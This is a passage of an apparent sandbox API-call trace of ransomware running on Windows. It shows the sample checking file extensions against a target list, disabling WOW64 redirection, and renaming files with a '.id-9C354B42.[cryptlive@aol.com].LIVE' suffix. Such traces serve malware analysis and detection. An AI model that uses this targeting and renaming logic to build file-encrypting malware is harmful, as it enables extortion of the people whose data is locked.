(lpString=".doc") returned 4 [0168.434] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0168.434] lstrlenW (lpString=".docx") returned 5 [0168.434] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0168.434] lstrlenW (lpString=".pdf") returned 4 [0168.434] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0168.434] lstrlenW (lpString=".xls") returned 4 [0168.434] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0168.434] lstrlenW (lpString=".xlsx") returned 5 [0168.434] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0168.435] lstrlenW (lpString=".ppt") returned 4 [0168.435] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0168.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0168.435] lstrlenW (lpString=".zip") returned 4 [0168.435] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0168.435] lstrlenW (lpString=".rar") returned 4 [0168.435] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0168.435] lstrlenW (lpString=".bz2") returned 4 [0168.435] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0168.435] lstrlenW (lpString=".7z") returned 3 [0168.435] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0168.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0168.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0169.226] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0169.227] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 Thread: id = 78 os_tid = 0x5ac [0168.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x600cb0 [0168.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x610cb8 [0168.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de230 [0168.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5de4f8 [0168.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de278 [0168.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x37b0020 [0168.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de290 [0168.117] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de290, Size=0x20) returned 0x5e3bd8 [0168.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de290 [0168.117] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de290, Size=0x20) returned 0x5e3c00 [0168.118] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.118] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.118] Wow64DisableWow64FsRedirection (in: OldValue=0x2c6ff58 | out: OldValue=0x2c6ff58*=0x0) returned 1 [0168.118] lstrlenW (lpString="kernel32.dll") returned 12 [0168.118] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3bd8 | out: hHeap=0x570000) returned 1 [0168.118] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.118] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3c00 | out: hHeap=0x570000) returned 1 [0168.118] Sleep (dwMilliseconds=0x64) [0168.269] Sleep (dwMilliseconds=0x64) [0168.487] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.487] lstrlenW (lpString="ipscat.xml") returned 10 [0168.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.488] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2592) returned 1 [0168.488] CloseHandle (hObject=0x1d4) returned 1 [0168.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0168.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.488] lstrlenW (lpString=".doc") returned 4 [0168.488] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.488] lstrlenW (lpString=".docx") returned 5 [0168.488] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0168.488] lstrlenW (lpString=".pdf") returned 4 [0168.488] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.488] lstrlenW (lpString=".xls") returned 4 [0168.488] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.488] lstrlenW (lpString=".xlsx") returned 5 [0168.488] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0168.488] lstrlenW (lpString=".ppt") returned 4 [0168.488] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.488] lstrlenW (lpString=".zip") returned 4 [0168.488] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.488] lstrlenW (lpString=".rar") returned 4 [0168.488] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.488] lstrlenW (lpString=".bz2") returned 4 [0168.488] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.488] lstrlenW (lpString=".7z") returned 3 [0168.489] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.489] lstrlenW (lpString=".dbf") returned 4 [0168.489] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.489] lstrlenW (lpString=".1cd") returned 4 [0168.489] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.489] lstrlenW (lpString=".jpg") returned 4 [0168.489] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.489] lstrlenW (lpString=".doc") returned 4 [0168.489] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString=".docx") returned 5 [0168.489] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0168.489] lstrlenW (lpString=".pdf") returned 4 [0168.489] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString=".xls") returned 4 [0168.489] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString=".xlsx") returned 5 [0168.489] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0168.489] lstrlenW (lpString=".ppt") returned 4 [0168.489] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.489] lstrlenW (lpString=".zip") returned 4 [0168.489] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.489] lstrlenW (lpString=".rar") returned 4 [0168.489] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString=".bz2") returned 4 [0168.489] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.489] lstrlenW (lpString=".7z") returned 3 [0168.489] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.489] lstrlenW (lpString=".dbf") returned 4 [0168.489] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.490] lstrlenW (lpString=".1cd") returned 4 [0168.490] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0168.490] lstrlenW (lpString=".jpg") returned 4 [0168.490] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.490] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.490] lstrlenW (lpString="ipschs.xml") returned 10 [0168.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.491] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2462) returned 1 [0168.491] CloseHandle (hObject=0x1d4) returned 1 [0168.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0168.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.491] lstrlenW (lpString=".doc") returned 4 [0168.491] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.491] lstrlenW (lpString=".docx") returned 5 [0168.491] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0168.491] lstrlenW (lpString=".pdf") returned 4 [0168.491] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.491] lstrlenW (lpString=".xls") returned 4 [0168.491] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.491] lstrlenW (lpString=".xlsx") returned 5 [0168.491] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0168.491] lstrlenW (lpString=".ppt") returned 4 [0168.491] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.491] lstrlenW (lpString=".zip") returned 4 [0168.491] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.491] lstrlenW (lpString=".rar") returned 4 [0168.491] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.491] lstrlenW (lpString=".bz2") returned 4 [0168.492] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.492] lstrlenW (lpString=".7z") returned 3 [0168.492] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.492] lstrlenW (lpString=".dbf") returned 4 [0168.492] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.492] lstrlenW (lpString=".1cd") returned 4 [0168.492] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.492] lstrlenW (lpString=".jpg") returned 4 [0168.492] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.492] lstrlenW (lpString=".doc") returned 4 [0168.492] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.492] lstrlenW (lpString=".docx") returned 5 [0168.492] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0168.492] lstrlenW (lpString=".pdf") returned 4 [0168.492] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.492] lstrlenW (lpString=".xls") returned 4 [0168.492] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.492] lstrlenW (lpString=".xlsx") returned 5 [0168.492] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0168.492] lstrlenW (lpString=".ppt") returned 4 [0168.492] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.492] lstrlenW (lpString=".zip") returned 4 [0168.493] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.493] lstrlenW (lpString=".rar") returned 4 [0168.493] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.493] lstrlenW (lpString=".bz2") returned 4 [0168.493] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.493] lstrlenW (lpString=".7z") returned 3 [0168.493] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.493] lstrlenW (lpString=".dbf") returned 4 [0168.493] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.493] lstrlenW (lpString=".1cd") returned 4 [0168.493] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0168.493] lstrlenW (lpString=".jpg") returned 4 [0168.493] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.493] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.493] lstrlenW (lpString="ipscht.xml") returned 10 [0168.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.494] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2436) returned 1 [0168.494] CloseHandle (hObject=0x1d4) returned 1 [0168.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0168.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.495] lstrlenW (lpString=".doc") returned 4 [0168.495] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.495] lstrlenW (lpString=".docx") returned 5 [0168.495] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0168.495] lstrlenW (lpString=".pdf") returned 4 [0168.495] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.495] lstrlenW (lpString=".xls") returned 4 [0168.495] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.495] lstrlenW (lpString=".xlsx") returned 5 [0168.495] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0168.495] lstrlenW (lpString=".ppt") returned 4 [0168.495] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.495] lstrlenW (lpString=".zip") returned 4 [0168.495] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.495] lstrlenW (lpString=".rar") returned 4 [0168.495] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.495] lstrlenW (lpString=".bz2") returned 4 [0168.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.496] lstrlenW (lpString=".7z") returned 3 [0168.496] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.496] lstrlenW (lpString=".dbf") returned 4 [0168.496] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.496] lstrlenW (lpString=".1cd") returned 4 [0168.496] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.496] lstrlenW (lpString=".jpg") returned 4 [0168.496] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.496] lstrlenW (lpString=".doc") returned 4 [0168.496] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.496] lstrlenW (lpString=".docx") returned 5 [0168.497] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0168.497] lstrlenW (lpString=".pdf") returned 4 [0168.497] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.497] lstrlenW (lpString=".xls") returned 4 [0168.497] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.497] lstrlenW (lpString=".xlsx") returned 5 [0168.497] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0168.497] lstrlenW (lpString=".ppt") returned 4 [0168.497] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.497] lstrlenW (lpString=".zip") returned 4 [0168.497] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.497] lstrlenW (lpString=".rar") returned 4 [0168.497] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.497] lstrlenW (lpString=".bz2") returned 4 [0168.497] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.497] lstrlenW (lpString=".7z") returned 3 [0168.497] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.497] lstrlenW (lpString=".dbf") returned 4 [0168.497] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.497] lstrlenW (lpString=".1cd") returned 4 [0168.497] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0168.497] lstrlenW (lpString=".jpg") returned 4 [0168.497] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.498] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.498] lstrlenW (lpString="ipscsy.xml") returned 10 [0168.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.499] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2556) returned 1 [0168.499] CloseHandle (hObject=0x1d4) returned 1 [0168.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0168.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.499] lstrlenW (lpString=".doc") returned 4 [0168.499] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.499] lstrlenW (lpString=".docx") returned 5 [0168.499] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0168.499] lstrlenW (lpString=".pdf") returned 4 [0168.499] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.499] lstrlenW (lpString=".xls") returned 4 [0168.499] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.499] lstrlenW (lpString=".xlsx") returned 5 [0168.499] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0168.500] lstrlenW (lpString=".ppt") returned 4 [0168.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.500] lstrlenW (lpString=".zip") returned 4 [0168.500] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.500] lstrlenW (lpString=".rar") returned 4 [0168.500] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.500] lstrlenW (lpString=".bz2") returned 4 [0168.500] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.500] lstrlenW (lpString=".7z") returned 3 [0168.500] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.500] lstrlenW (lpString=".dbf") returned 4 [0168.500] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.500] 